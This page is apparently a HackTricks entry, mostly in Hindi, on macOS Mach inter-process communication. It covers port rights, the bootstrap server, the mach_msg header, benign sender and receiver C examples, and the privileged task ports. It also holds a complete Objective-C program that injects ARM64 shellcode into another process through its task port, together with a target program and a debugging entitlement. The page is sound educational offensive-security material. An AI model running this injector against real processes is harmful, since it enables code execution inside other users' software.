# macOS IPC - इंटर प्रोसेस संचार
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Mach संदेश भेजना पोर्ट के माध्यम से
|
||||
|
||||
### बुनियादी जानकारी
|
||||
|
||||
Mach **कार्य** को संसाधनों को साझा करने के लिए **सबसे छोटे इकाई** के रूप में उपयोग करता है, और प्रत्येक कार्य में **कई थ्रेड** हो सकते हैं। ये **कार्य और थ्रेड 1:1 के अनुपात में POSIX प्रक्रियाओं और थ्रेड्स से मैप होते हैं**।
|
||||
|
||||
कार्य के बीच संचार Mach इंटर-प्रोसेस संचार (IPC) के माध्यम से होता है, जो एकतरफा संचार चैनलों का उपयोग करता है। **संदेश पोर्ट के बीच स्थानांतरित होते हैं**, जो **कर्नेल द्वारा प्रबंधित संदेश कतारों** के रूप में कार्य करते हैं।
|
||||
|
||||
प्रत्येक प्रक्रिया के पास एक **IPC तालिका** होती है, जिसमें प्रक्रिया के **mach पोर्ट** मिलते हैं। एक mach पोर्ट का नाम वास्तव में एक संख्या है (कर्नेल ऑब्जेक्ट के लिए एक पॉइंटर)।
|
||||
|
||||
एक प्रक्रिया किसी अन्य कार्य को कुछ अधिकारों के साथ एक पोर्ट नाम भी भेज सकती है और कर्नेल इस प्रविष्टि को **दूसरे कार्य की IPC तालिका** में प्रदर्शित करेगा।
|
||||
|
||||
### पोर्ट अधिकार
|
||||
|
||||
पोर्ट अधिकार, जो यह परिभाषित करते हैं कि एक कार्य कौन-से संचालन कर सकता है, इस संचार के लिए कुंजी हैं। संभावित **पोर्ट अधिकार** हैं ([यहां से परिभाषाएँ](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
- **प्राप्ति अधिकार**, जो पोर्ट पर भेजे गए संदेशों को प्राप्त करने की अनुमति देता है। Mach पोर्ट MPSC (कई उत्पादक, एक उपभोक्ता) कतारें हैं, जिसका अर्थ है कि पूरे सिस्टम में **प्रत्येक पोर्ट के लिए केवल एक प्राप्ति अधिकार** हो सकता है (पाइप के विपरीत, जहां कई प्रक्रियाएं एक पाइप के पढ़ने के अंत के लिए फ़ाइल वर्णनकर्ता रख सकती हैं)।
|
||||
- **प्राप्ति** अधिकार वाला एक कार्य संदेश प्राप्त कर सकता है और **भेजने के अधिकार** बना सकता है, जिससे यह संदेश भेज सकता है। मूल रूप से केवल **स्वयं का कार्य अपने पोर्ट पर प्राप्ति अधिकार रखता है**।
|
||||
- **भेजने का अधिकार**, जो पोर्ट पर संदेश भेजने की अनुमति देता है।
|
||||
- भेजने का अधिकार **क्लोन** किया जा सकता है, इसलिए एक कार्य जो भेजने का अधिकार रखता है, अधिकार को क्लोन कर सकता है और **इसे तीसरे कार्य को दे सकता है**।
|
||||
- **एक बार भेजने का अधिकार**, जो पोर्ट पर एक संदेश भेजने की अनुमति देता है और फिर गायब हो जाता है।
|
||||
- **पोर्ट सेट अधिकार**, जो एक _पोर्ट सेट_ को दर्शाता है न कि एकल पोर्ट। एक पोर्ट सेट से संदेश को डीक्यू करने का अर्थ है कि यह उस पोर्ट में से एक संदेश को डीक्यू करता है जो इसे शामिल करता है। पोर्ट सेट का उपयोग एक साथ कई पोर्ट पर सुनने के लिए किया जा सकता है, जैसे कि Unix में `select`/`poll`/`epoll`/`kqueue`।
|
||||
- **मृत नाम**, जो वास्तव में एक पोर्ट अधिकार नहीं है, बल्कि केवल एक प्लेसहोल्डर है। जब एक पोर्ट नष्ट होता है, तो पोर्ट के लिए सभी मौजूदा पोर्ट अधिकार मृत नामों में बदल जाते हैं।
|
||||
|
||||
**कार्य SEND अधिकारों को दूसरों को स्थानांतरित कर सकते हैं**, जिससे उन्हें संदेश वापस भेजने की अनुमति मिलती है। **SEND अधिकारों को भी क्लोन किया जा सकता है, इसलिए एक कार्य डुप्लिकेट कर सकता है और तीसरे कार्य को अधिकार दे सकता है**। यह, एक मध्यवर्ती प्रक्रिया के साथ मिलकर जिसे **बूटस्ट्रैप सर्वर** कहा जाता है, कार्यों के बीच प्रभावी संचार की अनुमति देता है।
|
||||
|
||||
### फ़ाइल पोर्ट
|
||||
|
||||
फ़ाइल पोर्ट मैक पोर्ट में फ़ाइल वर्णनकर्ताओं को संलग्न करने की अनुमति देते हैं (Mach पोर्ट अधिकारों का उपयोग करते हुए)। एक दिए गए FD से `fileport_makeport` का उपयोग करके एक `fileport` बनाना संभव है और एक fileport से FD बनाने के लिए `fileport_makefd` का उपयोग करना संभव है।
|
||||
|
||||
### संचार स्थापित करना
|
||||
|
||||
#### कदम:
|
||||
|
||||
जैसा कि उल्लेख किया गया है, संचार चैनल स्थापित करने के लिए, **बूटस्ट्रैप सर्वर** (**launchd** मैक में) शामिल होता है।
|
||||
|
||||
1. कार्य **A** एक **नया पोर्ट** आरंभ करता है, प्रक्रिया में एक **प्राप्ति अधिकार** प्राप्त करता है।
|
||||
2. कार्य **A**, जो प्राप्ति अधिकार का धारक है, **पोर्ट के लिए एक भेजने का अधिकार उत्पन्न करता है**।
|
||||
3. कार्य **A** **बूटस्ट्रैप सर्वर** के साथ एक **संयोग** स्थापित करता है, **पोर्ट की सेवा नाम** और **भेजने का अधिकार** प्रदान करता है, जिसे बूटस्ट्रैप रजिस्टर के रूप में जाना जाता है।
|
||||
4. कार्य **B** **बूटस्ट्रैप सर्वर** के साथ बातचीत करता है ताकि सेवा नाम के लिए बूटस्ट्रैप **लुकअप** किया जा सके। यदि सफल होता है, तो **सर्वर कार्य A से प्राप्त SEND अधिकार को डुप्लिकेट करता है** और **इसे कार्य B को भेजता है**।
|
||||
5. SEND अधिकार प्राप्त करने पर, कार्य **B** **एक संदेश तैयार करने** और **कार्य A** को भेजने में सक्षम होता है।
|
||||
6. द्विदिश संचार के लिए आमतौर पर कार्य **B** एक नए पोर्ट के साथ एक **प्राप्ति** अधिकार और एक **भेजने का** अधिकार उत्पन्न करता है, और **भेजने का अधिकार कार्य A को देता है** ताकि वह कार्य B को संदेश भेज सके (द्विदिश संचार)।
|
||||
|
||||
बूटस्ट्रैप सर्वर **सेवा नाम** का प्रमाणीकरण नहीं कर सकता है जो एक कार्य द्वारा दावा किया गया है। इसका मतलब है कि एक **कार्य** संभावित रूप से **किसी भी सिस्टम कार्य का अनुकरण** कर सकता है, जैसे कि झूठा **प्राधिकरण सेवा नाम का दावा करना** और फिर हर अनुरोध को मंजूरी देना।
|
||||
|
||||
फिर, Apple **सिस्टम-प्रदत्त सेवाओं के नाम** को सुरक्षित कॉन्फ़िगरेशन फ़ाइलों में संग्रहीत करता है, जो **SIP-सुरक्षित** निर्देशिकाओं में स्थित होते हैं: `/System/Library/LaunchDaemons` और `/System/Library/LaunchAgents`। प्रत्येक सेवा नाम के साथ, **संबंधित बाइनरी भी संग्रहीत होती है**। बूटस्ट्रैप सर्वर, इन सेवा नामों में से प्रत्येक के लिए एक **प्राप्ति अधिकार** बनाएगा और रखेगा।
|
||||
|
||||
इन पूर्वनिर्धारित सेवाओं के लिए, **लुकअप प्रक्रिया थोड़ी भिन्न होती है**। जब एक सेवा नाम की खोज की जा रही होती है, तो launchd सेवा को गतिशील रूप से शुरू करता है। नया कार्यप्रवाह इस प्रकार है:
|
||||
|
||||
- कार्य **B** एक सेवा नाम के लिए बूटस्ट्रैप **लुकअप** आरंभ करता है।
|
||||
- **launchd** जांचता है कि कार्य चल रहा है और यदि नहीं है, तो **इसे शुरू करता है**।
|
||||
- कार्य **A** (सेवा) एक **बूटस्ट्रैप चेक-इन** करता है। यहां, **बूटस्ट्रैप** सर्वर एक SEND अधिकार बनाता है, उसे रखता है, और **प्राप्ति अधिकार कार्य A को स्थानांतरित करता है**।
|
||||
- launchd **SEND अधिकार को डुप्लिकेट करता है और इसे कार्य B को भेजता है**।
|
||||
- कार्य **B** एक नए पोर्ट के साथ एक **प्राप्ति** अधिकार और एक **भेजने का** अधिकार उत्पन्न करता है, और **भेजने का अधिकार कार्य A (svc) को देता है** ताकि वह कार्य B को संदेश भेज सके (द्विदिश संचार)।
|
||||
|
||||
हालांकि, यह प्रक्रिया केवल पूर्वनिर्धारित सिस्टम कार्यों पर लागू होती है। गैर-सिस्टम कार्य अभी भी मूल रूप से वर्णित तरीके से कार्य करते हैं, जो संभावित रूप से अनुकरण की अनुमति दे सकता है।
|
||||
|
||||
### एक Mach संदेश
|
||||
|
||||
[यहां अधिक जानकारी प्राप्त करें](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
`mach_msg` फ़ंक्शन, जो मूल रूप से एक सिस्टम कॉल है, Mach संदेश भेजने और प्राप्त करने के लिए उपयोग किया जाता है। फ़ंक्शन को भेजे जाने वाले संदेश को प्रारंभिक तर्क के रूप में आवश्यक होता है। यह संदेश `mach_msg_header_t` संरचना के साथ शुरू होना चाहिए, इसके बाद वास्तविक संदेश सामग्री होती है। संरचना को इस प्रकार परिभाषित किया गया है:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
mach_msg_size_t msgh_size;
|
||||
mach_port_t msgh_remote_port;
|
||||
mach_port_t msgh_local_port;
|
||||
mach_port_name_t msgh_voucher_port;
|
||||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
Processes possessing a _**receive right**_ can receive messages on a Mach port. Conversely, the **senders** are granted a _**send**_ or a _**send-once right**_. The send-once right is exclusively for sending a single message, after which it becomes invalid.
|
||||
|
||||
In order to achieve an easy **bi-directional communication** a process can specify a **mach port** in the mach **message header** called the _reply port_ (**`msgh_local_port`**) where the **receiver** of the message can **send a reply** to this message. The bitflags in **`msgh_bits`** can be used to **indicate** that a **send-once** **right** should be derived and transferred for this port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
|
||||
> [!TIP]
|
||||
> ध्यान दें कि इस प्रकार की द्विदिश संचार XPC संदेशों में उपयोग की जाती है जो एक पुनःप्राप्ति की अपेक्षा करती हैं (`xpc_connection_send_message_with_reply` और `xpc_connection_send_message_with_reply_sync`)। लेकिन **आमतौर पर विभिन्न पोर्ट बनाए जाते हैं** जैसा कि पहले समझाया गया है द्विदिश संचार बनाने के लिए।
|
||||
|
||||
The other fields of the message header are:
|
||||
|
||||
- `msgh_size`: पूरे पैकेट का आकार।
|
||||
- `msgh_remote_port`: वह पोर्ट जिस पर यह संदेश भेजा गया है।
|
||||
- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html)।
|
||||
- `msgh_id`: इस संदेश की ID, जिसे रिसीवर द्वारा व्याख्यायित किया जाता है।
|
||||
|
||||
> [!CAUTION]
|
||||
> ध्यान दें कि **mach संदेश \_mach पोर्ट** पर भेजे जाते हैं, जो एक **एकल रिसीवर**, **कई प्रेषक** संचार चैनल है जो mach कर्नेल में निर्मित है। **कई प्रक्रियाएँ** एक mach पोर्ट पर **संदेश भेज सकती हैं**, लेकिन किसी भी समय केवल **एकल प्रक्रिया ही पढ़ सकती है**।
|
||||
|
||||
### Enumerate ports
|
||||
```bash
|
||||
lsmp -p <pid>
|
||||
```
|
||||
आप इस टूल को iOS में [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) से डाउनलोड करके इंस्टॉल कर सकते हैं।
|
||||
|
||||
### कोड उदाहरण
|
||||
|
||||
ध्यान दें कि **sender** एक पोर्ट **आवंटित** करता है, नाम `org.darlinghq.example` के लिए एक **send right** बनाता है और इसे **bootstrap server** पर भेजता है जबकि sender ने उस नाम के **send right** के लिए अनुरोध किया और इसका उपयोग **संदेश भेजने** के लिए किया।
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="receiver.c"}}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc receiver.c -o receiver
|
||||
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main() {
|
||||
|
||||
// Create a new port.
|
||||
mach_port_t port;
|
||||
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_port_allocate() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("mach_port_allocate() created port right name %d\n", port);
|
||||
|
||||
|
||||
// Give us a send right to this port, in addition to the receive right.
|
||||
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("mach_port_insert_right() inserted a send right\n");
|
||||
|
||||
|
||||
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
|
||||
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_register() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("bootstrap_register()'ed our port\n");
|
||||
|
||||
|
||||
// Wait for a message.
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
char some_text[10];
|
||||
int some_number;
|
||||
mach_msg_trailer_t trailer;
|
||||
} message;
|
||||
|
||||
kr = mach_msg(
|
||||
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||
MACH_RCV_MSG, // Options. We're receiving a message.
|
||||
0, // Size of the message being sent, if sending.
|
||||
sizeof(message), // Size of the buffer for receiving.
|
||||
port, // The port to receive a message on.
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||
);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("Got a message\n");
|
||||
|
||||
message.some_text[9] = 0;
|
||||
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="sender.c"}}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc sender.c -o sender
|
||||
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main() {
|
||||
|
||||
// Lookup the receiver port using the bootstrap server.
|
||||
mach_port_t port;
|
||||
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("bootstrap_look_up() returned port right name %d\n", port);
|
||||
|
||||
|
||||
// Construct our message.
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
char some_text[10];
|
||||
int some_number;
|
||||
} message;
|
||||
|
||||
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
||||
message.header.msgh_remote_port = port;
|
||||
message.header.msgh_local_port = MACH_PORT_NULL;
|
||||
|
||||
strncpy(message.some_text, "Hello", sizeof(message.some_text));
|
||||
message.some_number = 35;
|
||||
|
||||
// Send the message.
|
||||
kr = mach_msg(
|
||||
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||
MACH_SEND_MSG, // Options. We're sending a message.
|
||||
sizeof(message), // Size of the message being sent.
|
||||
0, // Size of the buffer for receiving.
|
||||
MACH_PORT_NULL, // A port to receive a message on, if receiving.
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||
);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("Sent a message\n");
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### विशेषाधिकार प्राप्त पोर्ट
|
||||
|
||||
- **होस्ट पोर्ट**: यदि किसी प्रक्रिया के पास इस पोर्ट पर **भेजने** का विशेषाधिकार है, तो वह **सिस्टम** के बारे में **जानकारी** प्राप्त कर सकता है (जैसे `host_processor_info`)।
|
||||
- **होस्ट प्रिव पोर्ट**: इस पोर्ट पर **भेजने** का अधिकार रखने वाली प्रक्रिया **विशेषाधिकार प्राप्त क्रियाएँ** कर सकती है जैसे कि कर्नेल एक्सटेंशन लोड करना। इस अनुमति को प्राप्त करने के लिए **प्रक्रिया को रूट होना चाहिए**।
|
||||
- इसके अलावा, **`kext_request`** API को कॉल करने के लिए अन्य अधिकारों की आवश्यकता होती है **`com.apple.private.kext*`** जो केवल Apple बाइनरी को दिए जाते हैं।
|
||||
- **कार्य नाम पोर्ट:** _कार्य पोर्ट_ का एक अप्रिवileged संस्करण। यह कार्य को संदर्भित करता है, लेकिन इसे नियंत्रित करने की अनुमति नहीं देता। इसके माध्यम से उपलब्ध एकमात्र चीज `task_info()` प्रतीत होती है।
|
||||
- **कार्य पोर्ट** (जिसे कर्नेल पोर्ट भी कहा जाता है): इस पोर्ट पर भेजने की अनुमति के साथ कार्य को नियंत्रित करना संभव है (मेमोरी पढ़ना/लिखना, थ्रेड बनाना...)।
|
||||
- कॉल करें `mach_task_self()` इस पोर्ट के लिए **नाम प्राप्त करने** के लिए कॉलर कार्य के लिए। यह पोर्ट केवल **`exec()`** के माध्यम से **विरासत में** लिया जाता है; `fork()` के साथ बनाए गए नए कार्य को एक नया कार्य पोर्ट मिलता है (एक विशेष मामले के रूप में, एक कार्य को `exec()` के बाद एक suid बाइनरी में भी एक नया कार्य पोर्ट मिलता है)। एक कार्य को उत्पन्न करने और इसके पोर्ट को प्राप्त करने का एकमात्र तरीका ["पोर्ट स्वैप डांस"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) करना है जबकि `fork()` कर रहे हैं।
|
||||
- पोर्ट तक पहुँचने के लिए ये प्रतिबंध हैं (बाइनरी `AppleMobileFileIntegrity` से `macos_task_policy` से):
|
||||
- यदि ऐप के पास **`com.apple.security.get-task-allow` विशेषाधिकार** है, तो **समान उपयोगकर्ता** की प्रक्रियाएँ कार्य पोर्ट तक पहुँच सकती हैं (आमतौर पर डिबगिंग के लिए Xcode द्वारा जोड़ा जाता है)। **नोटरीकरण** प्रक्रिया इसे उत्पादन रिलीज़ में अनुमति नहीं देगी।
|
||||
- **`com.apple.system-task-ports`** विशेषाधिकार वाले ऐप किसी भी प्रक्रिया के लिए **कार्य पोर्ट** प्राप्त कर सकते हैं, सिवाय कर्नेल के। पुराने संस्करणों में इसे **`task_for_pid-allow`** कहा जाता था। यह केवल Apple अनुप्रयोगों को दिया जाता है।
|
||||
- **रूट कार्य पोर्ट** तक पहुँच सकता है उन अनुप्रयोगों के **जो** एक **हर्डनड** रनटाइम के साथ संकलित नहीं हैं (और Apple से नहीं हैं)।
|
||||
|
||||
### थ्रेड में टास्क पोर्ट के माध्यम से शेलकोड इंजेक्शन
|
||||
|
||||
आप एक शेलकोड प्राप्त कर सकते हैं:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="mysleep.m"}}
|
||||
```objectivec
|
||||
// clang -framework Foundation mysleep.m -o mysleep
|
||||
// codesign --entitlements entitlements.plist -s - mysleep
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
double performMathOperations() {
|
||||
double result = 0;
|
||||
for (int i = 0; i < 10000; i++) {
|
||||
result += sqrt(i) * tan(i) - cos(i);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
|
||||
processIdentifier]);
|
||||
while (true) {
|
||||
[NSThread sleepForTimeInterval:5];
|
||||
|
||||
performMathOperations(); // Silent action
|
||||
|
||||
[NSThread sleepForTimeInterval:5];
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="entitlements.plist"}}
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>com.apple.security.get-task-allow</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
**पिछले प्रोग्राम को संकलित करें** और कोड इंजेक्ट करने के लिए **अधिकार** जोड़ें उसी उपयोगकर्ता के साथ (यदि नहीं, तो आपको **sudo** का उपयोग करना होगा)।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>sc_injector.m</summary>
|
||||
```objectivec
|
||||
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AppKit/AppKit.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <sys/sysctl.h>
|
||||
|
||||
|
||||
#ifdef __arm64__
|
||||
|
||||
kern_return_t mach_vm_allocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags
|
||||
);
|
||||
|
||||
kern_return_t mach_vm_write
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt
|
||||
);
|
||||
|
||||
|
||||
#else
|
||||
#include <mach/mach_vm.h>
|
||||
#endif
|
||||
|
||||
|
||||
#define STACK_SIZE 65536
|
||||
#define CODE_SIZE 128
|
||||
|
||||
// ARM64 shellcode that executes touch /tmp/lalala
|
||||
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
|
||||
|
||||
|
||||
int inject(pid_t pid){
|
||||
|
||||
task_t remoteTask;
|
||||
|
||||
// Get access to the task port of the process we want to inject into
|
||||
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
|
||||
return (-1);
|
||||
}
|
||||
else{
|
||||
printf("Gathered privileges over the task port of process: %d\n", pid);
|
||||
}
|
||||
|
||||
// Allocate memory for the stack
|
||||
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
|
||||
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
|
||||
}
|
||||
|
||||
// Allocate memory for the code
|
||||
remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
|
||||
|
||||
// Write the shellcode to the allocated memory
|
||||
kr = mach_vm_write(remoteTask, // Task port
|
||||
remoteCode64, // Virtual Address (Destination)
|
||||
(vm_address_t) injectedCode, // Source
|
||||
0xa9); // Length of the source
|
||||
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
|
||||
// Set the permissions on the allocated code memory
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Set the permissions on the allocated stack memory
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Create thread to run shellcode
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
|
||||
//remoteStack64 -= 8; // need alignment of 16
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
||||
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
||||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
|
||||
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
return (0);
|
||||
}
|
||||
|
||||
pid_t pidForProcessName(NSString *processName) {
|
||||
NSArray *arguments = @[@"pgrep", processName];
|
||||
NSTask *task = [[NSTask alloc] init];
|
||||
[task setLaunchPath:@"/usr/bin/env"];
|
||||
[task setArguments:arguments];
|
||||
|
||||
NSPipe *pipe = [NSPipe pipe];
|
||||
[task setStandardOutput:pipe];
|
||||
|
||||
NSFileHandle *file = [pipe fileHandleForReading];
|
||||
|
||||
[task launch];
|
||||
|
||||
NSData *data = [file readDataToEndOfFile];
|
||||
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
|
||||
|
||||
return (pid_t)[string integerValue];
|
||||
}
|
||||
|
||||
BOOL isStringNumeric(NSString *str) {
|
||||
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
|
||||
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
|
||||
return r.location == NSNotFound;
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
if (argc < 2) {
|
||||
NSLog(@"Usage: %s <pid or process name>", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
NSString *arg = [NSString stringWithUTF8String:argv[1]];
|
||||
pid_t pid;
|
||||
|
||||
if (isStringNumeric(arg)) {
|
||||
pid = [arg intValue];
|
||||
} else {
|
||||
pid = pidForProcessName(arg);
|
||||
if (pid == 0) {
|
||||
NSLog(@"Error: Process named '%@' not found.", arg);
|
||||
return 1;
|
||||
}
|
||||
else{
|
||||
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
|
||||
}
|
||||
}
|
||||
|
||||
inject(pid);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
./inject <pi or string>
|
||||
```
|
||||
### Dylib Injection in thread via Task port
|
||||
|
||||
macOS में **threads** को **Mach** या **posix `pthread` api** का उपयोग करके नियंत्रित किया जा सकता है। पिछले इंजेक्शन में जो थ्रेड हमने उत्पन्न किया, वह Mach api का उपयोग करके उत्पन्न किया गया था, इसलिए **यह posix compliant नहीं है**।
|
||||
|
||||
एक **सरल shellcode** को एक कमांड निष्पादित करने के लिए **इंजेक्ट करना संभव था** क्योंकि इसे **posix** compliant apis के साथ काम करने की आवश्यकता नहीं थी, केवल Mach के साथ। **अधिक जटिल इंजेक्शन** के लिए **thread** को भी **posix compliant** होना चाहिए।
|
||||
|
||||
इसलिए, **thread** को **`pthread_create_from_mach_thread`** को कॉल करना चाहिए जो **एक मान्य pthread** बनाएगा। फिर, यह नया pthread **dlopen** को कॉल कर सकता है ताकि **सिस्टम से एक dylib** लोड किया जा सके, इसलिए विभिन्न क्रियाओं को करने के लिए नए shellcode लिखने के बजाय कस्टम लाइब्रेरीज़ लोड करना संभव है।
|
||||
|
||||
आप **उदाहरण dylibs** पा सकते हैं (उदाहरण के लिए वह जो एक लॉग उत्पन्न करता है और फिर आप इसे सुन सकते हैं):
|
||||
|
||||
{{#ref}}
|
||||
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
|
